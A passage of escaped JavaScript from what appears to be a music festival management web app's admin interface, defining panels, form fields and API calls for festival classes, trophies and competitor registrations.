'addFn':'M.ciniki_musicfestivals_main.registration.open(\\\\'M.ciniki_musicfestivals_main.festival.open();\\\\',0,0,M.ciniki_musicfestivals_main.class.class_id,M.ciniki_musicfestivals_main.festival.festival_id,null,\\\\'festival\\\\');',\\n },\\n 'trophies':{'label':'Trophies', 'type':'simplegrid', 'num_cols':3, \\n 'headerValues':['Category', 'Name'],\\n 'cellClasses':['', '', 'alignright'],\\n 'noData':'No trophies',\\n 'addTxt':'Add Trophy',\\n 'addFn':'M.ciniki_musicfestivals_main.class.save(\\\"M.ciniki_musicfestivals_main.class.addTrophy();\\\");',\\n },\\n '_buttons':{'label':'', 'aside':'yes', 'buttons':{\\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.class.save();'},\\n 'delete':{'label':'Delete', \\n 'visible':function() {return M.ciniki_musicfestivals_main.class.class_id > 0 ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.class.remove();'},\\n }},\\n };\\n this.class.fieldValue = function(s, i, d) { return this.data[i]; }\\n this.class.fieldHistoryArgs = function(s, i) {\\n return {'method':'ciniki.musicfestivals.classHistory', 'args':{'tnid':M.curTenantID, 'class_id':this.class_id, 'field':i}};\\n }\\n this.class.cellValue = function(s, i, j, d) {\\n if( s == 'registrations' ) {\\n switch(j) {\\n case 0: return d.display_name; // + M.subdue(' (',d.pronoun,')');\\n case 1: return d.teacher_name;\\n case 2: return d.status_text;\\n }\\n }\\n if( s == 'trophies' ) {\\n switch(j) {\\n case 0: return d.category;\\n case 1: return d.name;\\n case 2: return '';\\n }\\n }\\n }\\n this.class.rowFn = function(s, i, d) {\\n if( s == 'registrations' ) {\\n return 'M.ciniki_musicfestivals_main.registration.open(\\\\'M.ciniki_musicfestivals_main.class.open();\\\\',\\\\'' + d.id + '\\\\',0,0,M.ciniki_musicfestivals_main.class.festival_id, null,\\\\'festival\\\\');';\\n }\\n return '';\\n }\\n this.class.addTrophy = function() {\\n M.ciniki_musicfestivals_main.classtrophy.open('M.ciniki_musicfestivals_main.class.open();',this.class_id);\\n }\\n this.class.attachTrophy = function(i) {\\n M.api.getJSONCb('ciniki.musicfestivals.classTrophyAdd', {'tnid':M.curTenantID, 'class_id':this.class_id, 'trophy_id':i}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.class.open();\\n });\\n }\\n this.class.removeTrophy = function(i) {\\n M.api.getJSONCb('ciniki.musicfestivals.classTrophyRemove', {'tnid':M.curTenantID, 'class_id':this.class_id, 'tc_id':i}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.class.open();\\n });\\n }\\n/* this.class.liveSearchCb = function(s, i, value) {\\n if( i == 'level' ) {\\n M.api.getJSONBgCb('ciniki.musicfestivals.classFieldSearch', {'tnid':M.curTenantID, 'field':i, 'start_needle':value, 'festival_id':M.ciniki_musicfestivals_main.class.festival_id, 'limit':15}, \\n function(rsp) {\\n M.ciniki_musicfestivals_main.class.liveSearchShow(s, i, M.gE(M.ciniki_musicfestivals_main.class.panelUID + '_' + i), rsp.results); \\n });\\n }\\n }\\n this.class.liveSearchResultValue = function(s, f, i, j, d) {\\n return d.name;\\n }\\n this.class.liveSearchResultRowFn = function(s, f, i, j, d) {\\n if( f == 'level' ) {\\n return 'M.ciniki_musicfestivals_main.class.updateField(\\\\'' + s + '\\\\',\\\\'' + f + '\\\\',\\\\'' + escape(d.name) + '\\\\');';\\n }\\n }\\n this.class.updateField = function(s, f, r) {\\n M.gE(this.panelUID + '_' + f).value = unescape(r);\\n this.removeLiveSearch(s, f);\\n } */\\n this.class.open = function(cb, iid, cid, fid, list) {\\n if( iid != null ) { this.class_id = iid; }\\n if( cid != null ) { this.category_id = cid; }\\n if( fid != null ) { this.festival_id = fid; }\\n if( list != null ) { this.nplist = list; }\\n M.api.getJSONCb('ciniki.musicfestivals.classGet', {'tnid':M.curTenantID, 'class_id':this.class_id, 'festival_id':this.festival_id, 'category_id':this.category_id, \\n 'registrations':'yes', 'categories':'yes'}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.class;\\n p.data = rsp.class;\\n p.nplists = {};\\n if( rsp.nplists != null ) {\\n p.nplists = rsp.nplists;\\n }\\n p.sections.general.fields.category_id.options = rsp.categories;\\n p.sections.general.fields.levels.tags = [];\\n if( rsp.levels != null ) {\\n p.sections.general.fields.levels.tags = rsp.levels;\\n }\\n p.refresh();\\n p.show(cb);\\n });\\n }\\n this.class.save = function(cb) {\\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.class.close();'; }\\n if( !this.checkForm() ) { return false; }\\n if( this.class_id > 0 ) {\\n var c = this.serializeForm('no');\\n if( c != '' ) {\\n M.api.postJSONCb('ciniki.musicfestivals.classUpdate', {'tnid':M.curTenantID, 'class_id':this.class_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n eval(cb);\\n });\\n } else {\\n eval(cb);\\n }\\n } else {\\n var c = this.serializeForm('yes');\\n M.api.postJSONCb('ciniki.musicfestivals.classAdd', {'tnid':M.curTenantID, 'festival_id':this.festival_id}, c, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.class.class_id = rsp.id;\\n eval(cb);\\n });\\n }\\n }\\n this.class.remove = function() {\\n M.confirm('Are you sure you want to remove class?',null,function() {\\n M.api.getJSONCb('ciniki.musicfestivals.classDelete', {'tnid':M.curTenantID, 'class_id':M.ciniki_musicfestivals_main.class.class_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n M.ciniki_musicfestivals_main.class.close();\\n });\\n });\\n }\\n this.class.nextButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.class_id) < (this.nplist.length - 1) ) {\\n return 'M.ciniki_musicfestivals_main.class.save(\\\\'M.ciniki_musicfestivals_main.class.open(null,' + this.nplist[this.nplist.indexOf('' + this.class_id) + 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.class.prevButtonFn = function() {\\n if( this.nplist != null && this.nplist.indexOf('' + this.class_id) > 0 ) {\\n return 'M.ciniki_musicfestivals_main.class.save(\\\\'M.ciniki_musicfestivals_main.class.open(null,' + this.nplist[this.nplist.indexOf('' + this.class_id) - 1] + ');\\\\');';\\n }\\n return null;\\n }\\n this.class.addButton('save', 'Save', 'M.ciniki_musicfestivals_main.class.save();');\\n this.class.addClose('Cancel');\\n this.class.addButton('next', 'Next');\\n this.class.addLeftButton('prev', 'Prev');\\n\\n //\\n // This panel lets the user select a trophy to attach to a class\\n //\\n this.classtrophy = new M.panel('Select Trophy', 'ciniki_musicfestivals_main', 'classtrophy', 'mc', 'medium', 'sectioned', 'ciniki.musicfestivals.main.trophyclass');\\n this.classtrophy.sections = {\\n 'trophies':{'label':'Select Trophy', 'type':'simplegrid', 'num_cols':3,\\n 'noData':'No trophies',\\n },\\n };\\n this.classtrophy.cellValue = function(s, i, j, d) {\\n if( s == 'trophies' ) {\\n switch(j) {\\n case 0: return d.category;\\n case 1: return d.name;\\n case 2: return '';\\n }\\n }\\n }\\n this.classtrophy.open = function(cb, cid) {\\n M.api.getJSONCb('ciniki.musicfestivals.trophyList', {'tnid':M.curTenantID, 'class_id':cid}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.classtrophy;\\n p.data = rsp;\\n p.refresh();\\n p.show(cb);\\n });\\n }\\n this.classtrophy.addClose('Back');\\n\\n //\\n // Registration\\n //\\n this.registration = new M.panel('Registration', 'ciniki_musicfestivals_main', 'registration', 'mc', 'medium mediumaside', 'sectioned', 'ciniki.musicfestivals.main.registration');\\n this.registration.data = null;\\n this.registration.festival_id = 0;\\n this.registration.teacher_customer_id = 0;\\n this.registration.competitor1_id = 0;\\n this.registration.competitor2_id = 0;\\n this.registration.competitor3_id = 0;\\n this.registration.competitor4_id = 0;\\n// this.registration.competitor5_id = 0;\\n this.registration.registration_id = 0;\\n this.registration.nplist = [];\\n this.registration._source = '';\\n this.registration.sections = {\\n// '_tabs':{'label':'', 'type':'paneltabs', 'field_id':'rtype', 'selected':'30', 'tabs':{\\n// '30':{'label':'Individual', 'fn':'M.ciniki_musicfestivals_main.registration.switchTab(\\\"30\\\");'},\\n// '50':{'label':'Duet', 'fn':'M.ciniki_musicfestivals_main.registration.switchTab(\\\"50\\\");'},\\n// '60':{'label':'Trio', 'fn':'M.ciniki_musicfestivals_main.registration.switchTab(\\\"60\\\");'},\\n// '90':{'label':'Ensemble', 'fn':'M.ciniki_musicfestivals_main.registration.switchTab(\\\"90\\\");'},\\n// }},\\n 'teacher_details':{'label':'Teacher', 'type':'simplegrid', 'num_cols':2, 'aside':'yes',\\n 'cellClasses':['label', ''],\\n 'addTxt':'Edit',\\n 'addFn':'M.startApp(\\\\'ciniki.customers.edit\\\\',null,\\\\'M.ciniki_musicfestivals_main.registration.updateTeacher();\\\\',\\\\'mc\\\\',{\\\\'next\\\\':\\\\'M.ciniki_musicfestivals_main.registration.updateTeacher\\\\',\\\\'customer_id\\\\':M.ciniki_musicfestivals_main.registration.teacher_customer_id});',\\n 'changeTxt':'Change',\\n 'changeFn':'M.startApp(\\\\'ciniki.customers.edit\\\\',null,\\\\'M.ciniki_musicfestivals_main.registration.updateTeacher();\\\\',\\\\'mc\\\\',{\\\\'next\\\\':\\\\'M.ciniki_musicfestivals_main.registration.updateTeacher\\\\',\\\\'customer_id\\\\':0});',\\n },\\n '_display_name':{'label':'Duet/Trio/Ensemble Name', 'aside':'yes',\\n 'visible':'hidden',\\n// 'visible':function(){return (parseInt(M.ciniki_musicfestivals_main.registration.sections._tabs.selected)>60?'yes':'hidden');},\\n 'fields':{ \\n 'display_name':{'label':'', 'hidelabel':'yes', 'type':'text'},\\n }},\\n 'competitor1_details':{'label':'Competitor 1', 'aside':'yes', 'type':'simplegrid', 'num_cols':2,\\n 'cellClasses':['label', ''],\\n 'addTxt':'',\\n 'addFn':'M.ciniki_musicfestivals_main.registration.addCompetitor(M.ciniki_musicfestivals_main.registration.competitor1_id, 1);',\\n 'changeTxt':'Add',\\n 'changeFn':'M.ciniki_musicfestivals_main.registration.addCompetitor(0, 1);',\\n },\\n 'competitor2_details':{'label':'Competitor 2', 'aside':'yes', 'type':'simplegrid', 'num_cols':2,\\n 'visible':'hidden',\\n// 'visible':function(){return (parseInt(M.ciniki_musicfestivals_main.registration.sections._tabs.selected)>30?'yes':'hidden');},\\n 'cellClasses':['label', ''],\\n 'addTxt':'Edit',\\n 'addFn':'M.ciniki_musicfestivals_main.registration.addCompetitor(M.ciniki_musicfestivals_main.registration.competitor1_id, 2);',\\n 'changeTxt':'Change',\\n 'changeFn':'M.ciniki_musicfestivals_main.registration.addCompetitor(0, 2);',\\n },\\n 'competitor3_details':{'label':'Competitor 3', 'aside':'yes', 'type':'simplegrid', 'num_cols':2,\\n 'visible':'hidden',\\n// 'visible':function(){return (parseInt(M.ciniki_musicfestivals_main.registration.sections._tabs.selected)>50?'yes':'hidden');},\\n 'cellClasses':['label', ''],\\n 'addTxt':'Edit',\\n 'addFn':'M.ciniki_musicfestivals_main.registration.addCompetitor(M.ciniki_musicfestivals_main.registration.competitor1_id, 3);',\\n 'changeTxt':'Change',\\n 'changeFn':'M.ciniki_musicfestivals_main.registration.addCompetitor(0, 3);',\\n },\\n 'competitor4_details':{'label':'Competitor 4', 'aside':'yes', 'type':'simplegrid', 'num_cols':2,\\n 'visible':'hidden',\\n// 'visible':function(){return (parseInt(M.ciniki_musicfestivals_main.registration.sections._tabs.selected)>60?'yes':'hidden');},\\n 'cellClasses':['label', ''],\\n 'addTxt':'Edit',\\n 'addFn':'M.ciniki_musicfestivals_main.registration.addCompetitor(M.ciniki_musicfestivals_main.registration.competitor1_id, 4);',\\n 'changeTxt':'Change',\\n 'changeFn':'M.ciniki_musicfestivals_main.registration.addCompetitor(0, 4);',\\n },\\n/* 'competitor5_details':{'label':'Competitor 5', 'aside':'yes', 'type':'simplegrid', 'num_cols':2,\\n 'visible':function(){return (parseInt(M.ciniki_musicfestivals_main.registration.sections._tabs.selected)>60?'yes':'hidden');},\\n 'cellClasses':['label', ''],\\n 'addTxt':'Edit',\\n 'addFn':'M.ciniki_musicfestivals_main.registration.addCompetitor(M.ciniki_musicfestivals_main.registration.competitor1_id, 5);',\\n 'changeTxt':'Change',\\n 'changeFn':'M.ciniki_musicfestivals_main.registration.addCompetitor(0, 5);',\\n }, */\\n 'invoice_details':{'label':'Invoice', 'type':'simplegrid', 'num_cols':2,\\n 'cellClasses':['label', ''],\\n },\\n '_class':{'label':'Registration', 'fields':{\\n// 'status':{'label':'Status', 'required':'yes', 'type':'toggle', 'toggles':{'5':'Draft', '10':'Applied', '50':'Paid', '60':'Cancelled'}},\\n// 'payment_type':{'label':'Payment', 'type':'toggle', 'toggles':{'20':'Square', '50':'Visa', '55':'Mastercard', '100':'Cash', '105':'Cheque', '110':'Email', '120':'Other', '121':'Online'}},\\n 'class_id':{'label':'Class', 'required':'yes', 'type':'select', 'complex_options':{'value':'id', 'name':'name'}, 'options':{}, \\n 'onchangeFn':'M.ciniki_musicfestivals_main.registration.updateForm',\\n },\\n 'title1':{'label':'Title', 'type':'text'},\\n 'perf_time1':{'label':'Perf Time', 'type':'minsec', 'size':'small'},\\n 'title2':{'label':'2nd Title', 'type':'text',\\n 'visible':'no',\\n },\\n 'perf_time2':{'label':'2nd Time', 'type':'minsec', 'max_minutes':30, 'second_interval':5, 'size':'small',\\n 'visible':'no',\\n },\\n 'title3':{'label':'3rd Title', 'type':'text',\\n 'visible':'no',\\n },\\n 'perf_time3':{'label':'3rd Time', 'type':'minsec', 'size':'small',\\n 'visible':'no',\\n },\\n 'fee':{'label':'Fee', 'type':'text', 'size':'small'},\\n 'participation':{'label':'Participate', 'type':'select', \\n 'visible':function() { return (M.ciniki_musicfestivals_main.registration.data.festival.flags&0x12) > 0 ? 'yes' : 'no'},\\n 'onchangeFn':'M.ciniki_musicfestivals_main.registration.updateForm',\\n 'options':{\\n '0':'in person on a date to be scheduled',\\n '1':'virtually and submit a video online',\\n }},\\n 'video_url1':{'label':'1st Video', 'type':'text', \\n 'visible':'no',\\n },\\n 'music_orgfilename1':{'label':'1st Music', 'type':'file',\\n 'visible':'no',\\n 'deleteFn':'M.ciniki_musicfestivals_main.registration.downloadMusic(1);',\\n },\\n 'video_url2':{'label':'2nd Video', 'type':'text', \\n 'visible':'no',\\n },\\n 'music_orgfilename2':{'label':'2nd Music', 'type':'file',\\n 'visible':'no',\\n 'deleteFn':'M.ciniki_musicfestivals_main.registration.downloadMusic(2);',\\n },\\n 'video_url3':{'label':'3rd Video', 'type':'text', \\n 'visible':'no',\\n },\\n 'music_orgfilename3':{'label':'3rd Music', 'type':'file',\\n 'visible':'no',\\n 'deleteFn':'M.ciniki_musicfestivals_main.registration.downloadMusic(3);',\\n },\\n 'placement':{'label':'Placement', 'type':'text',\\n 'visible':function() { return M.modFlagSet('ciniki.musicfestivals', 0x08); },\\n },\\n }},\\n '_tags':{'label':'Tags', \\n 'visible':function() { return M.modFlagSet('ciniki.musicfestivals', 0x2000); },\\n 'fields':{\\n 'tags':{'label':'', 'hidelabel':'yes', 'type':'tags', 'tags':[], 'hint':'Enter a new tag:'},\\n }},\\n/* 'music_buttons':{'label':'', \\n 'visible':function() { return (M.ciniki_musicfestivals_main.registration.data.festival.flags&0x02) == 0x02 ? 'yes' : 'no'},\\n 'buttons':{\\n 'add':{'label':'Upload Music PDF', 'fn':'M.ciniki_musicfestivals_main.registration.uploadPDF();',\\n 'visible':function() { return M.ciniki_musicfestivals_main.registration.data.music_orgfilename == '' ? 'yes' : 'no'},\\n },\\n 'upload':{'label':'Replace Music PDF', 'fn':'M.ciniki_musicfestivals_main.registration.uploadPDF();',\\n 'visible':function() { return M.ciniki_musicfestivals_main.registration.data.music_orgfilename != '' ? 'yes' : 'no'},\\n },\\n 'download':{'label':'Download PDF', 'fn':'M.ciniki_musicfestivals_main.registration.downloadPDF();',\\n 'visible':function() { return M.ciniki_musicfestivals_main.registration.data.music_orgfilename != '' ? 'yes' : 'no'},\\n },\\n }}, */\\n '_notes':{'label':'Registration Notes', 'fields':{\\n 'notes':{'label':'', 'hidelabel':'yes', 'type':'textarea'},\\n }},\\n '_internal_notes':{'label':'Internal Admin Notes', 'fields':{\\n 'internal_notes':{'label':'', 'hidelabel':'yes', 'type':'textarea'},\\n }},\\n '_buttons':{'label':'', 'buttons':{\\n 'save':{'label':'Save', 'fn':'M.ciniki_musicfestivals_main.registration.save();'},\\n 'printcert':{'label':'Download Certificate PDF', \\n 'visible':function() {return M.ciniki_musicfestivals_main.registration.registration_id > 0 ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.registration.printCert();'},\\n 'printcomments':{'label':'Download Comments PDF', \\n 'visible':function() {return M.ciniki_musicfestivals_main.registration.registration_id > 0 ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.registration.printComments();'},\\n 'delete':{'label':'Delete', \\n 'visible':function() {return M.ciniki_musicfestivals_main.registration.registration_id > 0 ? 'yes' : 'no'; },\\n 'fn':'M.ciniki_musicfestivals_main.registration.remove();'},\\n }},\\n };\\n this.registration.fieldValue = function(s, i, d) { \\n// if( i == 'music_orgfilename' ) {\\n// if( this.data[i] == '' ) {\\n// return '';\\n// } else {\\n// return this.data[i] + ' ';\\n// }\\n// }\\n return this.data[i]; \\n }\\n this.registration.fieldHistoryArgs = function(s, i) {\\n return {'method':'ciniki.musicfestivals.registrationHistory', 'args':{'tnid':M.curTenantID, 'registration_id':this.registration_id, 'field':i}};\\n }\\n this.registration.cellValue = function(s, i, j, d) {\\n if( s == 'competitor1_details' || s == 'competitor2_details' || s == 'competitor3_details' || s == 'competitor4_details' ) {\\n switch(j) {\\n case 0 : return d.label;\\n case 1 : \\n if( d.label == 'Email' ) {\\n return M.linkEmail(d.value);\\n } else if( d.label == 'Address' ) {\\n return d.value.replace(/\\\\n/g, '
            ');\\n }\\n return d.value;\\n }\\n }\\n if( s == 'teacher_details' ) {\\n switch(j) {\\n case 0: return d.detail.label;\\n case 1:\\n if( d.detail.label == 'Email' ) {\\n return M.linkEmail(d.detail.value);\\n } else if( d.detail.label == 'Address' ) {\\n return d.detail.value.replace(/\\\\n/g, '
            ');\\n }\\n return d.detail.value;\\n }\\n }\\n if( s == 'invoice_details' ) {\\n switch(j) {\\n case 0: return d.label;\\n case 1: return d.value.replace(/\\\\n/, '
            ');\\n }\\n }\\n }\\n this.registration.rowFn = function(s, i, d) {\\n if( s == 'invoice_details' && this._source != 'invoice' && this._source != 'pos' ) {\\n return 'M.startApp(\\\\'ciniki.sapos.invoice\\\\',null,\\\\'M.ciniki_musicfestivals_main.registration.open();\\\\',\\\\'mc\\\\',{\\\\'invoice_id\\\\':\\\\'' + this.data.invoice_id + '\\\\'});';\\n }\\n }\\n this.registration.switchTab = function(t) {\\n this.sections._tabs.selected = t;\\n this.refreshSection('_tabs');\\n this.showHideSection('_display_name');\\n this.showHideSection('competitor2_details');\\n this.showHideSection('competitor3_details');\\n this.showHideSection('competitor4_details');\\n// this.showHideSection('competitor5_details');\\n }\\n this.registration.updateForm = function(s, i, cf) {\\n var festival = this.data.festival;\\n var cid = this.formValue('class_id');\\n var participation = this.formValue('participation');\\n for(var i in this.classes) {\\n if( this.classes[i].id == cid ) {\\n var c = this.classes[i];\\n if( cf == null ) {\\n if( (festival.flags&0x10) == 0x10 && participation == 2 && c.earlybird_plus_fee > 0 ) {\\n this.setFieldValue('fee', c.earlybird_plus_fee);\\n } else if( (festival.flags&0x10) == 0x10 && participation == 2 && c.plus_fee > 0 ) {\\n this.setFieldValue('fee', c.plus_fee);\\n } else if( (festival.flags&0x04) == 0x04 && participation == 1 ) {\\n this.setFieldValue('fee', c.virtual_fee);\\n } else if( festival.earlybird == 'yes' && c.earlybird_fee > 0 ) {\\n this.setFieldValue('fee', c.earlybird_fee);\\n } else {\\n this.setFieldValue('fee', c.fee);\\n }\\n }\\n\\n this.sections._class.fields.title2.visible = (c.flags&0x1000) == 0x1000 ? 'yes' : 'no';\\n this.sections._class.fields.perf_time2.visible = (c.flags&0x1000) == 0x1000 ? 'yes' : 'no';\\n this.sections._class.fields.title3.visible = (c.flags&0x4000) == 0x4000 ? 'yes' : 'no';\\n this.sections._class.fields.perf_time3.visible = (c.flags&0x4000) == 0x4000 ? 'yes' : 'no';\\n this.sections._class.fields.video_url1.visible = (participation == 1 ? 'yes' : 'no');\\n this.sections._class.fields.video_url2.visible = (participation == 1 && (c.flags&0x1000) == 0x1000 ? 'yes' : 'no');\\n this.sections._class.fields.video_url3.visible = (participation == 1 && (c.flags&0x4000) == 0x4000 ? 'yes' : 'no');\\n this.sections._class.fields.music_orgfilename1.visible = (participation == 1 ? 'yes' : 'no');\\n this.sections._class.fields.music_orgfilename2.visible = (participation == 1 && (c.flags&0x1000) == 0x1000 ? 'yes' : 'no');\\n this.sections._class.fields.music_orgfilename3.visible = (participation == 1 && (c.flags&0x4000) == 0x4000 ? 'yes' : 'no');\\n\\n this.sections._display_name.visible = (c.flags&0x70) > 0 ? 'yes' : 'hidden';\\n this.sections.competitor2_details.visible = (c.flags&0x10) == 0x10 ? 'yes' : 'hidden';\\n this.sections.competitor3_details.visible = (c.flags&0x20) == 0x20 ? 'yes' : 'hidden';\\n this.sections.competitor4_details.visible = (c.flags&0x40) == 0x40 ? 'yes' : 'hidden';\\n this.showHideSection('competitor2_details');\\n this.showHideSection('competitor3_details');\\n this.showHideSection('competitor4_details');\\n this.showHideSection('_display_name');\\n this.showHideFormField('_class', 'title2');\\n this.showHideFormField('_class', 'perf_time2');\\n this.showHideFormField('_class', 'title3');\\n this.showHideFormField('_class', 'perf_time3');\\n this.showHideFormField('_class', 'video_url1');\\n this.showHideFormField('_class', 'video_url2');\\n this.showHideFormField('_class', 'video_url3');\\n this.showHideFormField('_class', 'music_orgfilename1');\\n this.showHideFormField('_class', 'music_orgfilename2');\\n this.showHideFormField('_class', 'music_orgfilename3');\\n }\\n }\\n }\\n this.registration.addCompetitor = function(cid,c) {\\n this.save(\\\"M.ciniki_musicfestivals_main.competitor.open('M.ciniki_musicfestivals_main.registration.updateCompetitor(\\\" + c + \\\");',\\\" + cid + \\\",\\\" + this.festival_id + \\\",null,M.ciniki_musicfestivals_main.registration.data.billing_customer_id);\\\");\\n }\\n this.registration.updateCompetitor = function(c) {\\n var p = M.ciniki_musicfestivals_main.competitor;\\n if( this['competitor' + c + '_id'] != p.competitor_id ) {\\n this['competitor' + c + '_id'] = p.competitor_id;\\n this.save(\\\"M.ciniki_musicfestivals_main.registration.open();\\\");\\n } else { \\n this.open();\\n }\\n/*\\n M.api.getJSONCb('ciniki.musicfestivals.competitorGet', {'tnid':M.curTenantID, 'competitor_id':this['competitor'+c+'_id']}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.registration;\\n p.data['competitor'+c+'_details'] = rsp.details;\\n if( p['competitor' + c + '_id'] == 0 ) {\\n p.sections['competitor'+c+'_details'].addTxt = '';\\n p.sections['competitor'+c+'_details'].changeTxt = 'Add';\\n } else {\\n p.sections['competitor'+c+'_details'].addTxt = 'Edit';\\n p.sections['competitor'+c+'_details'].changeTxt = 'Change';\\n }\\n p.refreshSection('competitor'+c+'_details');\\n p.show();\\n }); */\\n }\\n this.registration.updateTeacher = function(cid) {\\n if( cid != null ) { \\n this.teacher_customer_id = cid;\\n if( this.teacher_customer_id > 0 ) {\\n M.api.getJSONCb('ciniki.customers.customerDetails', {'tnid':M.curTenantID, 'customer_id':this.teacher_customer_id}, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.registration;\\n p.data.teacher_details = rsp.details;\\n if( p.customer_id == 0 ) {\\n p.sections.teacher_details.addTxt = '';\\n p.sections.teacher_details.changeTxt = 'Add';\\n } else {\\n p.sections.teacher_details.addTxt = 'Edit';\\n p.sections.teacher_details.changeTxt = 'Change';\\n }\\n p.refreshSection('teacher_details');\\n p.show();\\n });\\n } else {\\n this.data.teacher_details = [];\\n this.sections.teacher_details.addTxt = '';\\n this.sections.teacher_details.changeTxt = 'Add';\\n this.refreshSection('teacher_details');\\n this.show();\\n }\\n } else {\\n this.show();\\n }\\n }\\n this.registration.printCert = function() {\\n M.api.openFile('ciniki.musicfestivals.registrationCertificatesPDF', {'tnid':M.curTenantID, 'festival_id':this.festival_id, 'registration_id':this.registration_id});\\n }\\n this.registration.printComments = function() {\\n M.api.openFile('ciniki.musicfestivals.registrationCommentsPDF', {'tnid':M.curTenantID, 'festival_id':this.festival_id, 'registration_id':this.registration_id});\\n }\\n/* this.registration.uploadPDF = function() {\\n if( this.upload == null ) {\\n this.upload = M.aE('input', this.panelUID + '_music_orgfilename_upload', 'image_uploader');\\n this.upload.setAttribute('name', 'music_orgfilename');\\n this.upload.setAttribute('type', 'file');\\n this.upload.setAttribute('onchange', this.panelRef + '.uploadFile();');\\n }\\n this.upload.value = '';\\n this.upload.click();\\n }\\n this.registration.uploadFile = function() {\\n var f = this.upload;\\n M.api.postJSONFile('ciniki.musicfestivals.registrationMusicAdd', \\n {'tnid':M.curTenantID, 'festival_id':this.festival_id, 'registration_id':this.registration_id}, \\n f.files[0], \\n function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.registration;\\n p.data.music_orgfilename = rsp.registration.music_orgfilename;\\n// p.refreshSection('music_buttons');\\n p.setFieldValue('music_orgfilename', rsp.registration.music_orgfilename);\\n });\\n } */\\n this.registration.downloadMusic = function(i) {\\n M.api.openFile('ciniki.musicfestivals.registrationMusicPDF',{'tnid':M.curTenantID, 'registration_id':this.registration_id, 'num':i});\\n }\\n// this.registration.downloadPDF = function() {\\n// M.api.openFile('ciniki.musicfestivals.registrationMusicPDF',{'tnid':M.curTenantID, 'registration_id':this.registration_id});\\n// }\\n this.registration.open = function(cb, rid, tid, cid, fid, list, source) {\\n if( rid != null ) { this.registration_id = rid; }\\n if( tid != null ) { this.teacher_customer_id = tid; }\\n if( fid != null ) { this.festival_id = fid; }\\n if( cid != null ) { this.class_id = cid; }\\n if( list != null ) { this.nplist = list; }\\n if( source != null ) { this._source = source; }\\n M.api.getJSONCb('ciniki.musicfestivals.registrationGet', {'tnid':M.curTenantID, 'registration_id':this.registration_id, \\n 'teacher_customer_id':this.teacher_customer_id, 'festival_id':this.festival_id, 'class_id':this.class_id, \\n }, function(rsp) {\\n if( rsp.stat != 'ok' ) {\\n M.api.err(rsp);\\n return false;\\n }\\n var p = M.ciniki_musicfestivals_main.registration;\\n p.data = rsp.registration;\\n p.classes = rsp.classes;\\n if( p.festival_id == 0 ) {\\n p.festival_id = rsp.registration.festival_id;\\n }\\n// p.sections._tabs.selected = rsp.registration.rtype;\\n p.sections._class.fields.class_id.options = rsp.classes;\\n p.sections._class.fields.class_id.options.unshift({'id':0, 'name':''});\\n p.teacher_customer_id = parseInt(rsp.registration.teacher_customer_id);\\n if( p.teacher_customer_id == 0 ) {\\n p.sections.teacher_details.addTxt = '';\\n p.sections.teacher_details.changeTxt = 'Add';\\n } else {\\n p.sections.teacher_details.addTxt = 'Edit';\\n p.sections.teacher_details.changeTxt = 'Change';\\n }\\n for(var i = 1; i<= 4; i++) {\\n p['competitor' + i + '_id'] = parseInt(rsp.registration['competitor' + i + '_id']);\\n if( p['competitor' + i + '_id'] == 0 ) {\\n p.sections['competitor' + i + '_details'].addTxt = '';\\n p.sections['competitor' + i + '_details'].changeTxt = 'Add';\\n } else {\\n p.sections['competitor' + i + '_details'].addTxt = 'Edit';\\n p.sections['competitor' + i + '_details'].changeTxt = 'Change';\\n }\\n }\\n if( (p.data.festival.flags&0x10) == 0x10 ) {\\n p.sections._class.fields.participation.options = {\\n '0':'Regular Adjudication',\\n '2':'Adjudication Plus',\\n };\\n }\\n else if( (p.data.festival.flags&0x02) == 0x02 ) {\\n p.sections._class.fields.participation.options = {\\n '0':'in person on a date to be scheduled',\\n '1':'virtually and submit a video online',\\n };\\n if( p.data.festival['inperson-choice-msg'] != null && p.data.festival['inperson-choice-msg'] != '' ) {\\n p.sections._class.fields.participation.options[0] = p.data.festival['inperson-choice-msg'];\\n }\\n if( p.data.festival['virtual-choice-msg'] != null && p.data.festival['virtual-choice-msg'] != '' ) {\\n p.sections._class.fields.participation.options[1] = p.data.festival['virtual-choice-msg'];\\n }\\n }\\n if( rsp.tags != null ) {\\n p.sections._tags.fields.tags.tags = rsp.tags;\\n }\\n p.refresh();\\n p.show(cb);\\n p.updateForm(null,null,'no');\\n });\\n }\\n this.registration.save = function(cb) {\\n if( cb == null ) { cb = 'M.ciniki_musicfestivals_main.registration.close();'; }\\n if( !this.checkForm() ) { return false; }\\n if( this.formValue('class_id') == 0 ) {\\n M.alert(\\\"You must select a class.\\\");\\n return false;\\n }\\n// if( this.competitor1_id == 0 ) {\\n// M.alert(\\\"You must have a competitor.\\\");\\n// return false;\\n// }\\n if( this.registration_id > 0 ) {\\n var c = this.serializeFormData('no');\\n if( this.teacher_customer_id != this.data.teacher_customer_id ) {\\n c.append('teacher_customer_id', this.teacher_customer_id);\\n 